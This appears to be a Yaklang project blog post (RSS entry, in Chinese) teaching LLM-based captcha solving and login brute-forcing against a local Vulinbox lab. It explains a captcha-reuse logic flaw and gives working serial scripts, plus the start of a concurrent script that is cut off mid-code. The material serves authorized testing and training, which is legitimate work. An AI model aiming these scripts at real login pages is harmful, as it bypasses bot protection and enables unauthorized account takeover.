<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>技术博客</title>
        <link>https://yaklang.com/blog</link>
        <description>Yak Project Blog</description>
        <lastBuildDate>Fri, 08 May 2026 00:00:00 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>zh-CN</language>
        <copyright>Copyright © 2026 Yak Project.</copyright>
        <item>
            <title><![CDATA[工程实践：基于大模型的验证码识别与登录爆破自动化]]></title>
            <link>https://yaklang.com/blog/llm-captcha-recognition-and-login-brute-force</link>
            <guid>https://yaklang.com/blog/llm-captcha-recognition-and-login-brute-force</guid>
            <pubDate>Fri, 08 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[本文通过 Vulinbox 授权测试场景，演示如何用 Yaklang ai.FunctionCall 识别验证码，并将基础版、并发版脚本与 Web Fuzzer 热加载串成可验证的自动化流程。]]></description>
            <content:encoded><![CDATA[<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="内容速览">内容速览<a href="https://yaklang.com/blog/llm-captcha-recognition-and-login-brute-force#%E5%86%85%E5%AE%B9%E9%80%9F%E8%A7%88" class="hash-link" aria-label="内容速览的直接链接" title="内容速览的直接链接" translate="no">​</a></h2>
<ul>
<li class=""><strong>适用场景：</strong> 已获授权的内部渗透测试、验证码逻辑验证和安全工具研发。</li>
<li class=""><strong>实现方法：</strong> 使用 <code>ai.FunctionCall</code> 与 <code>ai.imageBase64</code> 提取验证码，再分别接入基础脚本、并发任务和 Web Fuzzer 热加载流程。</li>
<li class=""><strong>关键结论：</strong> Yaklang 可以在不单独维护 OCR 服务的情况下完成图像识别与请求编排，但测试范围和并发强度必须遵循授权边界。</li>
</ul>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="常见问题">常见问题<a href="https://yaklang.com/blog/llm-captcha-recognition-and-login-brute-force#%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98" class="hash-link" aria-label="常见问题的直接链接" title="常见问题的直接链接" translate="no">​</a></h2>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="是否必须额外部署-ocr-服务">是否必须额外部署 OCR 服务？<a href="https://yaklang.com/blog/llm-captcha-recognition-and-login-brute-force#%E6%98%AF%E5%90%A6%E5%BF%85%E9%A1%BB%E9%A2%9D%E5%A4%96%E9%83%A8%E7%BD%B2-ocr-%E6%9C%8D%E5%8A%A1" class="hash-link" aria-label="是否必须额外部署 OCR 服务？的直接链接" title="是否必须额外部署 OCR 服务？的直接链接" translate="no">​</a></h3>
<p>不需要。文中的方案通过已配置的 Yakit AI 网关调用多模态模型，并让模型按指定字段返回验证码文本。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="这个流程可以用于任意网站吗">这个流程可以用于任意网站吗？<a href="https://yaklang.com/blog/llm-captcha-recognition-and-login-brute-force#%E8%BF%99%E4%B8%AA%E6%B5%81%E7%A8%8B%E5%8F%AF%E4%BB%A5%E7%94%A8%E4%BA%8E%E4%BB%BB%E6%84%8F%E7%BD%91%E7%AB%99%E5%90%97" class="hash-link" aria-label="这个流程可以用于任意网站吗？的直接链接" title="这个流程可以用于任意网站吗？的直接链接" translate="no">​</a></h3>
<p>不可以。验证码识别和登录测试只能用于自有系统、靶场或已经获得明确授权的目标。</p>
<p>打开一个后台管理系统，一般来说可能仅仅是一个登录框。用户名、密码、验证码——三个输入框，一个提交按钮。密码可以爆破，用户名可以枚举，但验证码这个东西，一直是渗透测试中一个绕不开的拦路虎。</p>
<p>传统的解决思路无外乎几种：</p>
<p>1.使用 ddddocr 等开源 OCR 库，部署一套 Python 服务来识别验证码。问题在于，需要额外维护一套 Python 环境，模型对复杂验证码的识别率也不稳定，遇到扭曲、干扰线多的验证码就容易翻车。</p>
<p>2.接码平台。花钱买识别结果，成本不低，还有延迟问题。对于内部渗透测试这种不方便把数据外传的场景，也存在合规风险。</p>
<p>3.手动绕过。找逻辑漏洞、看验证码是否绑定 session、是否可以复用——运气好的时候管用，运气不好就只能干瞪眼。</p>
<p>这几种方式的共同问题是：要么成本高，要么不够通用，要么依赖外部环境。</p>
<p>那么在 AI 时代，有没有一种更直接的方式，不需要额外部署服务，不需要花钱买接码，直接在 Yaklang 里几行代码就能解决验证码识别？</p>
<p>实际上，Yaklang 的<code>ai</code>模块提供了<code>ai.FunctionCall</code>这个函数，配合 <code>ai.imageBase64</code>，可以让大模型直接"看懂"验证码图片，并把识别结果以结构化数据的形式返回给我们。不用训练模型，不用部署额外服务，Yakit 中配好了 AI 网关之后，几行代码就够了。</p>
<p>在本文中，我们将会以一个真实的验证码靶场为案例，完整演示一套递进的方案：</p>
<p>1.先用一个 Yak 脚本自动化爆破验证码保护的登录表单，在这个过程中顺手发现一个验证码逻辑漏洞。</p>
<p>2.然后面对正确实现的验证码（每次提交后立即作废），分别编写基础版和并发版爆破脚本。</p>
<p>3.再通过 Web Fuzzer 热加载方案，把验证码识别直接集成到 Yakit 的 GUI 操作流中。</p>
<p>4.最后用 Benchmark 测试，用数据说明 AI 识别验证码的成功率到底有多高</p>
<p>当然本篇内容的靶场和使用案例也并不是空想，而是来源于真实案例的总结和抽象。</p>
<p>一、准备工作</p>
<p><strong>认识靶场：验证码 + 四位密码</strong></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="我们的测试目标是-vulinbox中的一个验证码场景运行在-http1270018787verificationop">我们的测试目标是 Vulinbox中的一个验证码场景，运行在 <code>http://127.0.0.1:8787/verification/op</code>。<a href="https://yaklang.com/blog/llm-captcha-recognition-and-login-brute-force#%E6%88%91%E4%BB%AC%E7%9A%84%E6%B5%8B%E8%AF%95%E7%9B%AE%E6%A0%87%E6%98%AF-vulinbox%E4%B8%AD%E7%9A%84%E4%B8%80%E4%B8%AA%E9%AA%8C%E8%AF%81%E7%A0%81%E5%9C%BA%E6%99%AF%E8%BF%90%E8%A1%8C%E5%9C%A8-http1270018787verificationop" class="hash-link" aria-label="我们的测试目标是-vulinbox中的一个验证码场景运行在-http1270018787verificationop的直接链接" title="我们的测试目标是-vulinbox中的一个验证码场景运行在-http1270018787verificationop的直接链接" translate="no">​</a></h2>
<blockquote>
<p>你好，这儿有一篇超级秘密的文章，但是你需要输入验证码和密码。</p>
<p>密码差不多是四位数字，但是为了防止你爆破加了验证码，所以你得想点办法。</p>
</blockquote>
<p>页面很直白：一张验证码图片、一个验证码输入框、一个密码输入框。页面上还贴心地告诉我们——"密码差不多是四位数字，但是是为了防止你爆破加了验证码，所以你得想点办法"。</p>
<p>那么我们先来梳理一下这个验证码服务的完整交互流程：</p>
<p><button type="button" class="yakdoc-figure" data-layout="narrow" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/712261b7a88487bc-159341d396b7b88cd68bb9548ddd5a61.png" width="680" height="723" class="yakdoc-image"></button></p>
<p>分析一下关键要点：</p>
<p><strong>1.验证码与 Session 绑定</strong>。每次 GET <code>/verification/op</code> 都会生成一个新的 <code>YSESSIONID</code>，验证码图片通过 <code>/verification/code</code> 获取时才会真正生成 <code>captcha.Data</code> 并绑定到 session 上。</p>
<p><strong>2.密码空间有限</strong>。密码是启动时随机生成的四位数字，范围 0000-9999，总共 10000 种可能。如果没有验证码拦截，暴力枚举并不是什么难事。</p>
<p><strong>3.核心矛盾很清楚</strong>。要爆破密码，就必须同时解决验证码问题——每次尝试一个密码，都需要先获取一张验证码图片、识别它、然后和密码一起提交。</p>
<p>那么接下来的问题就变成了：如何高效且准确地识别每一张验证码？</p>
<p><strong>认识ai.FunctionCall:让AI提取结构化数据</strong></p>
<p>在动手写爆破脚本之前，我们先来了解一下核心武器——<code>ai.FunctionCall</code>。</p>
<p><code>ai.FunctionCall</code> 是 Yaklang <code>ai</code> 模块中的一个函数，做的事情很直接：<strong>给 AI 一段输入（文字或图片），告诉它期望的输出格式，它就会返回对应格式的结构化数据</strong>。</p>
<p>为什么我们要关心这个函数？因为传统的 OCR 方案说白了是模式匹配——用训练好的模型去匹配字符形状。而 <code>ai.FunctionCall</code> 走的是一条不同的路线：它让大模型去"理解"图片内容，然后按照我们指定的格式返回结果。大模型在图像理解上的能力远超传统 OCR，尤其面对有扭曲、干扰线、颜色混淆的验证码时，识别率要高出不少。</p>
<p>那么如何使用它？我们直接看代码：</p>
<div class="language-javascript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-javascript codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">result</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> ai</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">FunctionCall</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token template-string template-punctuation string" style="color:#e3116c">`</span><span class="token template-string string" style="color:#e3116c">执行数据标注任务，从图片中提取展示内容文本，放置在结果中</span><span class="token template-string template-punctuation string" style="color:#e3116c">`</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">{</span><span class="token string-property property" style="color:#36acaa">"code"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"从图片中提取的验证码类似的内容"</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ai</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access" style="color:#d73a49">imageBase64</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">imageBase64Data</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">captchaText </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> result</span><span class="token punctuation" style="color:#393A34">[</span><span class="token string" style="color:#e3116c">"code"</span><span class="token punctuation" style="color:#393A34">]</span><br></span></code></pre></div></div>
<p>三个参数分别是：</p>
<p><strong>1.自然语言指令</strong>。告诉 AI 要做什么。这里我们让它"从图片中提取展示内容文本"。指令写得越清晰，结果越准确。</p>
<p><strong>2.期望输出结构</strong>。一个 map，key 是字段名，value 是对这个字段的自然语言描述。AI 会按照这个结构返回结果。在这里我们只需要一个 <code>code</code>字段，用来存放识别出的验证码文本。</p>
<p><strong>3.图片数据</strong>。通过 <code>ai.imageBase64()</code> 传入 Base64 编码的图片。Yaklang 还支持 <code>ai.imageFile()</code> 直接传文件路径、<code>ai.imageRaw()</code> 传原始字节，用哪个看场景。</p>
<p>返回值 <code>result</code> 是一个 <code>map[string]any</code>，直接用 <code>result["code"]</code> 就能拿到识别出的验证码文本。</p>
<p>理解了这个接口之后，我们就可以开始组装爆破脚本了。</p>
<p>二、脚本实战</p>
<p><strong>脚本实战：一个脚本干掉验证码服务</strong></p>
<p>先看完整的爆破流程：</p>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/0d1fa6327efb75f4-7a7f9fc442d68b29be66cf622281f768.png" width="494" height="726" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<p>这里有一个细节值得注意：在实际测试中我们发现，这个靶场的验证码在密码错误后并不会刷新——同一个 session 里的验证码是可以复用的。因此最优的策略是：先识别一次验证码，然后用同一个验证码快速遍历所有密码；只有当验证码识别失败时（服务端返回 <code>verification code not match</code>），才需要重新获取 session 和验证码。</p>
<p>这意味着我们只需要调用一次（或很少几次）AI，就可以完成整个爆破。</p>
<p>接下来是完整的 Yak 脚本：</p>
<div class="language-perl codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-perl codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">target = "http://127.0.0.1:8787"</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">// 封装获取 session + 识别验证码的逻辑</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">getSessionAndCaptcha = func() {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    rsp, _, err = poc.Get(target + "/verification/op")</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    die(err)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    sessionCookie = poc.GetHTTPPacketCookie(rsp.RawPacket, "YSESSIONID")</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    codeRsp, _, err = poc.Get(</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        target + "/verification/code",</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        poc.header("Cookie", sprintf("YSESSIONID=%v", sessionCookie)),</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    )</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    die(err)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    imageBase64 = codec.EncodeBase64(codeRsp.GetBody())</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    result, err = ai.FunctionCall(</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        `执行数据标注任务，从图片中提取展示内容文本，放置在结果中`,</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        {"code": "从图片中提取的验证码类似的内容"},</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        ai.imageBase64(imageBase64),</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    )</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    die(err)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    captchaCode = result["code"]</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    log.info("new session: %v, recognized captcha: %v", sessionCookie, captchaCode)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    return sessionCookie, captchaCode</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">cookie, captcha = getSessionAndCaptcha()</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">for i = 0; i &lt; 10000; i++ {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    passStr = sprintf("%04d", i)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    log.info("trying password: %v with captcha: %v", passStr, captcha)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    submitRsp, _, err = poc.Post(</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        target + "/verification/op",</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        poc.header("Cookie", sprintf("YSESSIONID=%v", cookie)),</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        poc.replacePostParam("code", captcha),</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        poc.replacePostParam("password", passStr),</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    )</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    if err != nil {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        log.error("submit failed: %v", err)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        cookie, captcha = getSessionAndCaptcha()</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        continue</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    body = string(submitRsp.GetBody())</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    // 验证码被拒绝，说明识别错了，重新获取</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    if body.Contains("verification code not match") {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        log.warn("captcha was wrong, getting new session and captcha...")</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        cookie, captcha = getSessionAndCaptcha()</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        i--</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        continue</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    // 验证码正确但密码错误，继续下一个密码</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    if body.Contains("密码错误") {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        continue</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    // 既没有验证码错误也没有密码错误，说明成功了</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    log.info("SUCCESS! password is: %v", passStr)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    println(body)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    break</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">}</span><br></span></code></pre></div></div>
<p>我们来看这个脚本的几个关键点：</p>
<p><strong>1.Session 与验证码一起获取</strong>。我们把获取 session、拉验证码图片、AI 识别封装成一个函数 <code>getSessionAndCaptcha</code>，需要的时候调一次就行。</p>
<p><strong>2.验证码可以复用</strong>。这个靶场在密码错误后不会刷新验证码，因此识别一次就够了。只有当验证码本身识别错了（服务端返回 <code>verification code not match</code>），才需要重新获取。这个发现让爆破效率大幅提升——从每次密码都要调 AI，变成只调用一次。</p>
<p><strong>3.AI</strong>识别的调用很简洁**。<code>codec.EncodeBase64</code> 编码、<code>ai.FunctionCall</code> 识别、<code>result["code"]</code> 取结果，三步完成。</p>
<p><strong>4.容错处理</strong>。验证码错误时 <code>i--</code> 回退计数器，确保不跳过任何密码。</p>
<p>在笔者的实际测试中，AI 识别出验证码后服务端接受，快速遍历密码，大约 20 秒内就命中了正确密码。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/02f58eef7d564343-895e3395bc689cb282712d536f8aeeb5.png" width="1080" height="557" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="验证码逻辑漏洞未删除旧数据">验证码逻辑漏洞：未删除旧数据<a href="https://yaklang.com/blog/llm-captcha-recognition-and-login-brute-force#%E9%AA%8C%E8%AF%81%E7%A0%81%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E%E6%9C%AA%E5%88%A0%E9%99%A4%E6%97%A7%E6%95%B0%E6%8D%AE" class="hash-link" aria-label="验证码逻辑漏洞：未删除旧数据的直接链接" title="验证码逻辑漏洞：未删除旧数据的直接链接" translate="no">​</a></h2>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="wait-a-minute事情还没结束">Wait a Minute，事情还没结束。<a href="https://yaklang.com/blog/llm-captcha-recognition-and-login-brute-force#wait-a-minute%E4%BA%8B%E6%83%85%E8%BF%98%E6%B2%A1%E7%BB%93%E6%9D%9F" class="hash-link" aria-label="Wait a Minute，事情还没结束。的直接链接" title="Wait a Minute，事情还没结束。的直接链接" translate="no">​</a></h2>
<p>细心的读者可能已经注意到了上面脚本中一个不太对劲的地方——我们只识别了一次验证码，就可以用它遍历所有 10000 个密码。这意味着什么？</p>
<p>我们回头看服务端的行为：密码错误后，验证码没有被刷新，session 里的 captcha 数据还在。这实际上是一个<strong>验证码逻辑漏洞</strong>——验证码在使用后没有被删除，可以无限复用。</p>
<p>在真实的渗透测试中，这种逻辑漏洞并不少见。后端开发者可能只在验证码不匹配时刷新验证码，却忽略了"验证码正确但密码错误"这个分支。结果就是：攻击者只需要识别一次验证码，就等于验证码保护形同虚设。</p>
<p>这个漏洞虽然降低了我们的爆破难度，但在实战中我们更常面对的是<strong>正确实现的验证码</strong>——每次提交后验证码立即作废，无论对错。</p>
<p>那么面对这种更严格的验证码保护，我们的 AI 方案还能不能扛住？</p>
<h1>三、安全版验证码:每次提交后立即作废</h1>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="在-vulinbox-中我们同样准备了一个安全实现的验证码场景运行在-verificationsafeop和前面的漏洞版本相比安全版本做了一个关键的改动">在 Vulinbox 中，我们同样准备了一个安全实现的验证码场景，运行在 <code>/verification/safe/op</code>。和前面的漏洞版本相比，安全版本做了一个关键的改动：<a href="https://yaklang.com/blog/llm-captcha-recognition-and-login-brute-force#%E5%9C%A8-vulinbox-%E4%B8%AD%E6%88%91%E4%BB%AC%E5%90%8C%E6%A0%B7%E5%87%86%E5%A4%87%E4%BA%86%E4%B8%80%E4%B8%AA%E5%AE%89%E5%85%A8%E5%AE%9E%E7%8E%B0%E7%9A%84%E9%AA%8C%E8%AF%81%E7%A0%81%E5%9C%BA%E6%99%AF%E8%BF%90%E8%A1%8C%E5%9C%A8-verificationsafeop%E5%92%8C%E5%89%8D%E9%9D%A2%E7%9A%84%E6%BC%8F%E6%B4%9E%E7%89%88%E6%9C%AC%E7%9B%B8%E6%AF%94%E5%AE%89%E5%85%A8%E7%89%88%E6%9C%AC%E5%81%9A%E4%BA%86%E4%B8%80%E4%B8%AA%E5%85%B3%E9%94%AE%E7%9A%84%E6%94%B9%E5%8A%A8" class="hash-link" aria-label="在-vulinbox-中我们同样准备了一个安全实现的验证码场景运行在-verificationsafeop和前面的漏洞版本相比安全版本做了一个关键的改动的直接链接" title="在-vulinbox-中我们同样准备了一个安全实现的验证码场景运行在-verificationsafeop和前面的漏洞版本相比安全版本做了一个关键的改动的直接链接" translate="no">​</a></h2>
<blockquote>
<p><strong>每次 POST 提交后，无论验证码对错、密码对错，session 中的验证码数据都会被立即删除。</strong></p>
</blockquote>
<p>这意味着攻击者每尝试一个密码，都必须重新获取验证码图片、重新 AI 识别。没有任何捷径可走。</p>
<p><button type="button" class="yakdoc-figure" data-layout="narrow" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/df3a773431dbe7f5-6decdf627f6ca908b0d098fc657c4212.png" width="606" height="719" class="yakdoc-image"></button></p>
<p>那么我们应该怎么处理这种情况？</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="基础版串行爆破">基础版：串行爆破<a href="https://yaklang.com/blog/llm-captcha-recognition-and-login-brute-force#%E5%9F%BA%E7%A1%80%E7%89%88%E4%B8%B2%E8%A1%8C%E7%88%86%E7%A0%B4" class="hash-link" aria-label="基础版：串行爆破的直接链接" title="基础版：串行爆破的直接链接" translate="no">​</a></h3>
<p>最直接的思路——每次密码尝试都走一遍完整流程：获取 session → 获取验证码 → AI 识别 → 提交。逻辑清晰，代码简洁，适合理解整个工作流程。</p>
<div class="language-perl codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-perl codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">target = "http://127.0.0.1:8787"</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">cookieName = "YSESSIONID_SAFE"</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">for i = 0; i &lt; 10000; i++ {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    passStr = sprintf("%04d", i)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    rsp, _, err = poc.Get(target + "/verification/safe/op")</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    if err != nil { log.error("get page failed: %v", err); continue }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    cookie = poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    codeRsp, _, err = poc.Get(target + "/verification/safe/code", poc.header("Cookie", sprintf("%v=%v", cookieName, cookie)))</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    if err != nil { log.error("get captcha failed: %v", err); continue }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    imageBase64 = codec.EncodeBase64(codeRsp.GetBody())</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    result, err = ai.FunctionCall(`执行数据标注任务，从图片中提取展示内容文本，放置在结果中`, {"code": "从图片中提取的验证码类似的内容"}, ai.imageBase64(imageBase64))</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    if err != nil { log.error("ai failed: %v", err); continue }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    captchaCode = result["code"]</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    log.info("trying password: %v, captcha: %v", passStr, captchaCode)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    submitRsp, _, err = poc.Post(target + "/verification/safe/op", poc.header("Cookie", sprintf("%v=%v", cookieName, cookie)), poc.replacePostParam("code", captchaCode), poc.replacePostParam("password", passStr))</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    if err != nil { log.error("submit failed: %v", err); continue }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    body = string(submitRsp.GetBody())</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    if body.Contains("verification code not match") {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        log.warn("captcha wrong, will retry this password")</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        i--</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        continue</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    if !body.Contains("密码错误") {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        log.info("SUCCESS! password is: %v", passStr)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        println(body)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        break</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">}</span><br></span></code></pre></div></div>
<p>这个脚本的逻辑和前面漏洞版本的区别在于：<strong>每次循环都是一个完整的独立流程</strong>。不存在验证码复用，每一次密码尝试都必须先让 AI 看一遍新的验证码图片。</p>
<p>基础版的问题也很明显——串行执行，每次密码尝试大约需要 2 秒（主要是 AI 调用的延迟）。遍历 10000 个密码理论上需要 5 个多小时。对于渗透测试来说，这个速度有些不够看。</p>
<p>那么有什么办法加速？</p>
<p><strong>进阶版：并发爆破</strong></p>
<p>既然每次密码尝试都是一个独立的 session，互不干扰，那我们完全可以并行执行多个尝试。用多个 worker 同时发起独立的 session、独立识别验证码、独立提交，密码空间被自然地分摊到各个 worker 上。</p>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/436c1455447ced12-897ce02bf193d9f2eb486fcb63d965b8.png" width="483" height="899" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<p>并发版脚本如下：</p>
<div class="language-perl codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-perl codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">target = "http://127.0.0.1:8787"</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">cookieName = "YSESSIONID_SAFE"</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">concurrency = 5</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">found = false</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">foundPass = ""</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">tryPassword = func(passStr) {</span><br></span><span class="token-line" 